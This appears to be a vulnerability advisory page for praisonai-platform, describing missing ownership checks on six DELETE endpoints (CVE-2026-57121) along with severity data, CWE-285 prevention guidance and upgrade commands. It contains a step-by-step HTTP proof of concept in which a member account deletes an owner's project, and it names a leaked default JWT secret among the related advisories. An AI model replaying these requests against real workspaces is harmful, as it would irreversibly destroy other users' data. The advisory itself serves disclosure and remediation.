GHSA-rh39-9c67-59mh CVE-2026-57121 PYSEC-2026-3526
PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API
- Severity
- 8.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.33%
- Chance of exploitation in the next 30 days. Higher than 26.04% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-285 Improper Authorization
- Fix
0.1.6- Upgrade praisonai-platform to this version or later
Description
Summary
A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly.
Details
The published role capability matrix explicitly restricts members from modifying others' content:
| Capability | Owner | Admin | Member |
|---|---|---|---|
| Create issues/tasks | ✅ | ✅ | ✅ |
| Edit own content | ✅ | ✅ | ✅ |
| Edit others' content | ✅ | ✅ | ❌ |
The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an owner/admin role. The result is that the member role has unrestricted DELETE access over all workspace content regardless of who created it.
Confirmed vulnerable endpoints:
| Endpoint | Expected | Actual |
|---|---|---|
DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id} |
403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id} |
403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id} |
403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id} |
403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id} |
403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id} |
403 | 204 |
The missing check is isolated to content resource DELETEs.
PoC
Requirements: Two accounts — owner (resource creator) and member (attacker).
1. Register both accounts
POST /api/v1/auth/register
Content-Type: application/json
{"email": "owner@example.com", "password": "Password1!", "name": "owner"}
POST /api/v1/auth/register
Content-Type: application/json
{"email": "member@example.com", "password": "Password1!", "name": "member"}
2. Owner creates workspace, adds member with member role
POST /api/v1/workspaces/
Authorization: Bearer <owner_token>
Content-Type: application/json
{"name": "Test Workspace"}
POST /api/v1/workspaces/{workspace_id}/members
Authorization: Bearer <owner_token>
Content-Type: application/json
{"user_id": "<member_user_id>", "role": "member"}
3. Owner creates a project
POST /api/v1/workspaces/{workspace_id}/projects/
Authorization: Bearer <owner_token>
Content-Type: application/json
{"title": "Owner's Project"}
Response 201 Created:
{"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...}
4. Member deletes the owner's project
DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <member_token>
Response: 204 No Content
5. Owner confirms the project is permanently gone
GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <owner_token>
Response: 404 Not Found
{"detail": "Project not found"}
The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).
Impact
This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this.
Who is impacted: Workspace owners and members who share a workspace with untrusted or compromised member accounts.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| praisonai-platform | >= 0.1.4, < 0.1.6 |
0.1.6 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
praisonai-platform PyPI → 0.1.6
- pip
pip install --upgrade "praisonai-platform>=0.1.6"- poetry
poetry add "praisonai-platform>=0.1.6"- uv
uv add "praisonai-platform>=0.1.6"
Severity breakdown
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Weakness
CWE-285: Improper Authorization
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-xxgv-vgvj-qvxh PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorization | High | Also affects praisonai-platform |
| GHSA-c78w-2q4r-68r7 PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass | High | Also affects praisonai-platform |
| GHSA-mxmx-rh57-jx58 PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues | High | Also affects praisonai-platform |
| GHSA-2fjj-qqg8-fg7x praisonai-platform: Authorization Bypass Through User-Controlled Key | Medium | Also affects praisonai-platform |
| GHSA-cwj8-7gp2-ggcw praisonai-platform: default JWT signing secret 'dev-secret-change-me' enables token forgery | Critical | Also affects praisonai-platform |
| GHSA-f38v-77qj-h4jq praisonai-platform 0.1.4 still boots on the hardcoded JWT secret dev-secret-change-me (default-open production guard) | Critical | Also affects praisonai-platform |
| GHSA-7p8g-6c6g-h9w7 praisonai-platform: Agent endpoints accept any agent_id without workspace ownership check, cross-workspace read/update/delete IDOR | High | Also affects praisonai-platform |
| GHSA-g8rr-7rj2-f627 praisonai-platform: Any workspace member can delete the entire workspace via DELETE /workspaces/{id} | High | Also affects praisonai-platform |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor